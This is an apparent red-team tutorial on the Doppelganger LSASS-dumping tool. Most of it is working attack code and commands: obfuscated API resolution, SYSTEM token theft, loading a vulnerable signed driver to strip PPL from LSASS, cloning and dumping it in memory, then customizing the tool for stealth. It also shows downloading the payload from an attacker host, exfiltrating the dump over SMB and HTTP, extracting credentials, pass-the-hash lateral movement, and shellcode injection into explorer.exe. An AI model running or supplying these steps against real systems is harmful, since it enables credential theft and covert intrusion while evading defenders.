Doppelganger — LSASS Cloning for EDR Evasion
Introduction
Modern EDRs (Defender, CrowdStrike, SentinelOne, and others) protect LSASS through multiple layers: userland hooks on ntdll.dll, monitoring of OpenProcess calls targeting lsass.exe, kernel-level PPL, and ETW callbacks. Doppelganger, developed by Andrea Varischio, evades these by never touching the real LSASS memory—instead, it clones the process and focuses on the copy. The resulting clone lacks PPL, has no EDR hooks, uses a new PID unmonitored by EDRs, and retains the original credentials—we'll cover its mechanics next, followed by a practical example.
Step 1 — API Resolution Without IAT
EDRs scan the Import Address Table for sensitive functions like OpenProcess, MiniDumpWriteDump, or NtCreateProcessEx—Doppelganger imports no sensitive APIs (first evasion win). It evades by XOR-encrypting API names in byte arrays in api_strings.h, decrypting at runtime, and resolving via a custom CustomGetProcAddress() on clean, unhooked DLLs:
// api_strings.h — Binary has no plaintext "MiniDumpWriteDump"
static const unsigned char MDWD_ENC[] = {
0x7D, 0x58, 0x5C, 0x5A, 0x70, 0x40, 0x5B, 0x47,
0x6F, 0x4B, 0x08, 0x16, 0x06, 0x20, 0x10, 0x0B, 0x17
};
// api.c — Dynamic resolution from clean DLL
static BOOL ResolveApiFromDll(HMODULE hMod, const unsigned char* enc, size_t len, void** fn) {
char* name = xor_decrypt_string(enc, len, XOR_KEY, key_len);
if (!name) return FALSE;
*fn = (void*)CustomGetProcAddress(hMod, name);
free(name);
return (*fn != NULL);
}All DLLs load via LoadCleanDLL() for unhooked copies.
Result (evasion): Static analysis (YARA, AV signatures, sandboxes) finds no sensitive strings or imports.
Step 2 — SYSTEM Elevation via Token Theft
Doppelganger impersonates SYSTEM by stealing a token from winlogon.exe:
// token.c — GetSystemTokenAndDuplicate()
if (_wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) {
hProcess = pOP(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
if (hProcess) {
if (pOPTK(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken)) {
if (pDUPTOK(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation,
TokenImpersonation, &hDupToken)) {
*hSystemToken = hDupToken;
EnableAllPrivileges(hDupToken); // SeDebugPrivilege, SeImpersonatePrivilege
}
}
}
}Then, in main.c it applies impersonation to the current thread:
pIMP(hSystemToken); // ImpersonateLoggedOnUser
pSTT(NULL, hSystemToken); // SetThreadTokenResult (evasion): there's no exploit, no UAC bypass, no new SYSTEM process — just impersonation in the current thread.
Step 3 — BYOVD: Loading RTCore64.sys
RTCore64.sys is a legitimately signed MSI (Afterburner) driver exposing arbitrary kernel memory R/W via IOCTLs:
// driver.c — LoadAndStartDriver()
SC_HANDLE hService = pCS(hSCM, DRIVER_NAME, DRIVER_NAME, SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
DRIVER_PATH, NULL, NULL, NULL, NULL, NULL); // "C:\\Users\\Public\\RTCore64.sys"
pSS(hService, 0, NULL); // Start service
// memory.c — R/W kernel primitives
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
RTCORE64_MEMORY_READ memRead = { 0 };
memRead.Address = Address;
memRead.ReadSize = Size;
DWORD BytesReturned;
pDIOC(Device, RTC64_MEMORY_READ_CODE, &memRead, sizeof(memRead),
&memRead, sizeof(memRead), &BytesReturned, NULL);
return memRead.Value;
}Result (evasion): Signed driver loads without Windows objections; EDRs without vulnerable driver blocklists miss it.
Step 4 — PPL Patch in Kernel Memory
PPL blocks even SYSTEM from opening lsass.exe — Doppelganger disables it by writing directly to the kernel EPROCESS structure:
// memory.c — disablePPL()
// 1. Resolve PsInitialSystemProcess from ntoskrnl.exe
DWORD64 sys_eproc = ReadMemoryDWORD64(Device, ntBase + ps_offset);
// 2. Walk ActiveProcessLinks to find lsass.exe
while (curr_entry != list_head) {
DWORD64 eproc = curr_entry - offs.ActiveProcessLinks;
char name[^16] = { 0 };
ReadMemoryBuffer(Device, eproc + offs.ImageFileName, name, 15);
if (_stricmp(name, "lsass.exe") == 0) { // (XOR-decrypted string)
SavedEproc = eproc;
// 3. Save originals
OriginalSigLv = (BYTE)ReadMemoryPrimitive(Device, 1, eproc + offs.Protection - 2);
OriginalSecSigLv = (BYTE)ReadMemoryPrimitive(Device, 1, eproc + offs.Protection - 1);
OriginalProt = (BYTE)ReadMemoryPrimitive(Device, 1, eproc + offs.Protection);
// 4. Disable PPL → 0x00
WriteMemoryPrimitive(Device, 1, eproc + offs.Protection - 2, 0x00);
WriteMemoryPrimitive(Device, 1, eproc + offs.Protection - 1, 0x00);
WriteMemoryPrimitive(Device, 1, eproc + offs.Protection, 0x00);
break;
}
curr_entry = ReadMemoryDWORD64(Device, curr_entry);
}EPROCESS offsets are dynamic, they depend on their Windows build:
| Build | ActiveProcessLinks | ImageFileName | Protection |
|---|---|---|---|
| ≥ 26100 (Win11 24H2) | 0x1d8 | 0x338 | 0x5fa |
| ≥ 19041 (Win10 2004+) | 0x448 | 0x5a8 | 0x87a |
| ≥ 18362 (Win10 1903) | 0x2f0 | 0x450 | 0x6fa |
Resultado (evasión): Invisible from user-mode; EDRs lack visibility into signed driver IOCTL kernel writes.
Step 5 — Process Cloning with NtCreateProcessEx
With PPL off, Doppelganger fully clones LSASS using the undocumented NtCreateProcessEx syscall:
// dump.c — CloneLsassProcess()
// Open LSASS with minimal access: only PROCESS_CREATE_PROCESS (0x0080)
hLsass = pOP(PROCESS_CREATE_PROCESS, FALSE, pe.th32ProcessID);
// Clone: SectionHandle=NULL triggers full fork
NTSTATUS status = pNTCPX(
&hClone, // Clone handle
PROCESS_ALL_ACCESS,
&objAttr,
hLsass, // InheritFromProcess = LSASS
0, // Flags
NULL, // SectionHandle = NULL → fork
NULL, NULL, // DebugPort, TokenHandle
FALSE
);| Propiedad | Original LSASS | Clone |
|---|---|---|
| PPL | ✅ Active (restored post-op) | ❌ Unprotected |
| EDR Hooks | ✅ ntdll.dll hooked | ❌ Clean memory |
| Monitoring | ✅ Known PID | ❌ New, unregistered PID |
| Credentials | ✅ Present | ✅ Exact copy |
Result (evasion): Result: Access mask 0x0080 (PROCESS_CREATE_PROCESS) evades EDR monitoring of 0x0010 (PROCESS_VM_READ) or PROCESS_ALL_ACCESS; clone inherits no EDR hooks.
Step 6 — In-Memory Dump with Custom Callback
Doppelganger avoids direct disk writes, using MiniDumpWriteDump with a callback redirecting I/O to a heap buffer:
// dump.c — DumpCallbackRoutine()
switch (CallbackInput->CallbackType) {
case IoStartCallback:
CallbackOutput->Status = S_FALSE; // Disable file write
break;
case IoWriteAllCallback:
source = CallbackInput->Io.Buffer;
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)CallbackInput->Io.Offset);
bufferSize = CallbackInput->Io.BufferBytes;
RtlCopyMemory(destination, source, bufferSize);
dumpSize += bufferSize;
CallbackOutput->Status = S_OK;
break;
}
// dump.c — DumpAndXorLsass(): Dumps CLONE, not LSASS
pMDWD(hClone, clonedPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &mci);Result (evasion): MiniDumpWriteDump called on clone (different PID); no disk I/O or MDMP header signatures evade file-based detections.
Step 7 — XOR Encryption and Disk Write
// dump.c — Buffer encrypted pre-disk
xor_buffer(dumpBuffer, dumpSize, key, key_len);
HANDLE dumpFile = pCFA(outPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(dumpFile, dumpBuffer, dumpSize, &bytesWritten, NULL);Resulting file lacks MDMP header, has uniform entropy, no readable strings (wdigest, kerberos, msv1_0).
Paso 8 — Restoration
// memory.c — restorePPL()
WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection - 2, OriginalSigLv);
WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection - 1, OriginalSecSigLv);
WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection, OriginalProt);
// main.c — Unload driver
StopAndUnloadDriver(DRIVER_NAME);PPL restores before EDR periodic scans detect changes.
Evasion Summary by Layer
| Defense | Doppelganger Evasion |
|---|---|
| Static Analysis (AV/YARA) | XOR-encrypted APIs, no suspicious IAT |
| Userland Hooks (EDR) | Never reads LSASS memory — clones via NtCreateProcessEx |
| PPL (kernel) | Direct kernel patch via signed driver (BYOVD) |
| PID Monitoring | Dumps clone (different PID) |
| File I/O scanning | In-memory dump → XOR → no recognizable signatures |
| ETW callbacks | Minimal access mask (0x0080), PPL off during op |
| Credential Guard | ❌ Not evaded—dump contains stubs only |
Practical case
Time to use the tool.
Clone and Build
git clone https://github.com/vari-sh/RedTeamGrimoire.git
cd RedTeamGrimoire\Doppelganger
:: From "x64 Native Tools Command Prompt for VS 2022"
msbuild Doppelganger.sln /p:Configuration=Release /p:Platform=x64
:: Result: x64\Release\Doppelganger.exe (~143 KB).vcxproj includes DbgHelp.lib, Psapi.lib, Advapi32.lib.
Project Structure
Doppelganger/
├── Doppelganger.sln
├── Doppelganger/
│ ├── include/
│ │ ├── api.h, api_strings.h, defs.h, driver.h, dump.h
│ │ ├── logger.h, memory.h, offsets.h, osinfo.h, token.h, utils.h
│ └── src/
│ ├── api.c, driver.c, dump.c, logger.c, main.c
│ ├── memory.c, offsets.c, osinfo.c, token.c, utils.c
└── utils/
├── APINameEncrypter.py # Regenerar strings cifradas
├── decrypt_xor_dump.py # Descifrar dump offline
├── HollowReaper.c # Loader in-memory
└── RTCore64.sys # Driver vulnerable firmado
Recommended changes
It's a public tool so it must be customized for opsec:
Change XOR key
src/utils.c — lines 8-9:
// ORIGINAL:
const char* XOR_KEY = "0123456789abcdefghij";
size_t key_len = 20;
// CHANGE TO:
const char* XOR_KEY = "MiClavePersonal2026!";
size_t key_len = 20;Must match in utils/decrypt_xor_dump.py lines 10:
XOR_KEY = b"MiClavePersonal2026!"If key is changed, regenerate arrays in api_strings.h and token.h:
python3 utils/APINameEncrypter.pyChange service paths / name:
include/driver.h:
// ORIGINAL:
#define DRIVER_NAME "mDriver"
#define DRIVER_PATH "C:\\Users\\Public\\RTCore64.sys"
// CHANGE TO (example):
#define DRIVER_NAME "WinPerfMon"
#define DRIVER_PATH "C:\\Windows\\Temp\\RTCore64.sys"src/main.c — lines 52 and 58: change "C:\\Users\\Public\\doppelganger.dmp" for your preferred path.
Disable disk logging (highly recommended)
src/main.c — line 14:
// ORIGINAL:
logfile = fopen("C:\\Users\\Public\\log.txt", "a");
// CHANGE TO:
logfile = fopen("NUL", "w");Add offsets for unsupported builds
Obtain offsets using WinDbg on the target:
kd> dt nt!_EPROCESS ActiveProcessLinks → +0xNNN kd> dt nt!_EPROCESS ImageFileName → +0xNNN kd> dt nt!_EPROCESS Protection → +0xNNN
Add to src/offsets.c inside the x64 section:
else if (build >= YOUR_BUILD) {
offs.ActiveProcessLinks = 0xNNN;
offs.ImageFileName = 0xNNN;
offs.Protection = 0xNNN;
}Target Execution
Once compiled, we move on to the execution on the target machine.
Transfer files
For this PoC, HTTP is used, although a stealthier method could be used.
:: Only necessary: Doppelganger.exe + RTCore64.sys
certutil -urlcache -split -f http://192.168.1.100/Doppelganger.exe C:\Users\Public\Doppelganger.exe
certutil -urlcache -split -f http://192.168.1.100/RTCore64.sys C:\Users\Public\RTCore64.sysExecute (requires Local Administrator)
C:\Users\Public> Doppelganger.exeOutput in C:\Users\Public\log.txt (disabling logs is once again highly recommended):
[*] Windows Build 22631 detected [+] Requested privilege enabled [+] Successfully duplicated token. Process can now run as SYSTEM. [*] Running as SYSTEM. [+] Service created successfully. [+] Driver loaded and started successfully. [*] Device handle obtained [*] Ker base address: 0xfffff80274c1e000 [*] System entry address: 0xffff9a0b1c3e4080 [*] Found EPROC at 0xffff9a0b1d9234a0 [*] Original protection values: [*] SigLv value: 0x3E [*] SecSigLv value: 0x3E [*] Prot value: 0x41 [+] PPL disabled (0x00 written) [*] Found process: lsass.exe (PID: 732) [+] Successfully cloned process, handle: 0x000002A8 [*] Starting dump to memory buffer [+] Copied 66781184 bytes to memory buffer [+] XOR'd dump written to C:\Users\Public\doppelganger.dmp successfully [+] PPL restored to original value: [*] SigLv value after write: 0x3E [*] SecSigLv value after write: 0x3E [*] Prot value after write: 0x41 [+] Service stopped successfully. [+] Service deleted successfully. [*] Execution completed successfully.
Exfiltration
Once agian, for this PoC we use HTTP, although a stealthier method could be used.
:: SMB
copy C:\Users\Public\doppelganger.dmp \\192.168.1.100\share\
:: PowerShell HTTP
$b=[IO.File]::ReadAllBytes("C:\Users\Public\doppelganger.dmp")
Invoke-WebRequest -Uri http://192.168.1.100:8080/upload -Method POST -Body $bDecryption and offline extraction
Processing of the dump file now occurs in the attacker machine, out of the scope of EDR software.
# Decrypt
python3 utils/decrypt_xor_dump.py doppelganger.dmp
# [+] Decryption successful. Output written to: doppelganger.dmp.dec
# Verify valid MiniDump
xxd doppelganger.dmp.dec | head -1
# 00000000: 4d44 4d50 ... MDMP
# Extract credentials
pypykatz lsa minidump doppelganger.dmp.dec
# Output example:
# == LogonSession ==
# username admin
# domainname SILENTFORCE
# == MSV ==
# NT: aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
# == Kerberos ==
# Password: P@ssw0rd!2026
# Extract Kerberos tickets
pypykatz lsa minidump doppelganger.dmp.dec -k ./tickets/Using the credentials
From here, you used the extracted credentials (e.g. plaintext, hashes or tickets) in different ways to move laterally.
# Pass-the-Hash
impacket-psexec SILENTFORCE/[email protected] \
-hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
# Pass-the-Ticket (con .kirbi extraído)
export KRB5CCNAME=./tickets/TGT_admin.corp.ccache
impacket-psexec SILENTFORCE/[email protected] -k -no-passHollowReaper — In-memory execution
To make the process more discreet, Doppelganger can run as shellcode inside a legitimate process using HollowReaper, a tool from the same repo.
Generate shellcode with Donut + Doppelganger
donut -i Doppelganger.exe -o doppelganger.bin -a 2 -f 1Encrypt and generate C array
# encrypt_sc.py
KEY = b"0123456789abcdefghij"
with open("doppelganger.bin", "rb") as f:
raw = f.read()
enc = bytes([raw[i] ^ KEY[i % len(KEY)] for i in range(len(raw))])
print("unsigned char shellcode_enc[] = {")
for i in range(0, len(enc), 16):
print(" " + ", ".join(f"0x{b:02X}" for b in enc[i:i+16]) + ",")
print("};")Embedd in HollowReaper.c
Replace shellcode_enc[] in utils/HollowReaper.c with the output from the previous script.
Compile and execute
:: Compile
cl.exe /O2 /MT /Fe:HollowReaper.exe utils\HollowReaper.c
:: Execute — inject in explorer.exe
HollowReaper.exe "C:\Windows\explorer.exe"
[+] Process created in suspended state, PID: 11284
[+] Shellcode mapped at remote address: 0x00007FF6A2B10000
[+] Thread resumed, suspend count: 1
[+] Operation completed.Entire cloning process occurs in explorer.exe's memory address space — so no suspicious binaries ever make it to the disk.
References
-
Cloning and Dumping LSASS to Evade Detection - To analyze the dump later, a simple Python script is provided ( decrypt_xor_dump.py ). It uses the s...
-
BYOVD Attack: Stealth LSASS Memory Extraction with Doppelganger - In this episode of The Weekly Purple Team, we walk through Doppelganger, a highly evasive tool from ...
-
Doppelganger: An Advanced LSASS Dumper with Process ... - Github Repo: https://github.com/vari-sh/RedTeamGrimoire/tree/main/Doppelganger What is LSASS? The Lo...
-
Attack of The Clones - Unhooking and Syscall Stubs · Reprogrammed - Unhooking from a suspended process allows us to avoid the pitfalls of opening a handle to NTDLL.dll ...
-
Bring Your Own Vulnerable Driver (BYOVD) | Infiltr8 - MITRE ATT&CK™ Exploitation for Privilege Escalation - Technique T1068
-
The Definitive Guide To Process Cloning on Windows - Hunt & Hackett - This article aims to provide YOU with a comprehensive guide to the technical details of process clon...
-
HackTool - Doppelanger LSASS Dumper Execution - Detects the execution of the Doppelanger hacktool which is used to dump LSASS memory via process clo...
-
Potential LSASS Clone Creation via PssCaptureSnapShot - Adversaries exploit this to clone the LSASS process, aiming to extract credentials without detection...
-
Potential LSASS Clone Creation via PssCaptureSnapShot - This may indicate an attempt to evade detection and dump LSASS memory for credential access. Rule ty...
-
OS Credential Dumping: LSASS Memory, Sub-technique T1003.001 - Adversaries may attempt to access credential material stored in the process memory of the Local Secu...
-
attack.credential-access - Detects when the Notepad++ updater (gup.exe) makes DNS queries to domains that are not part of the k...
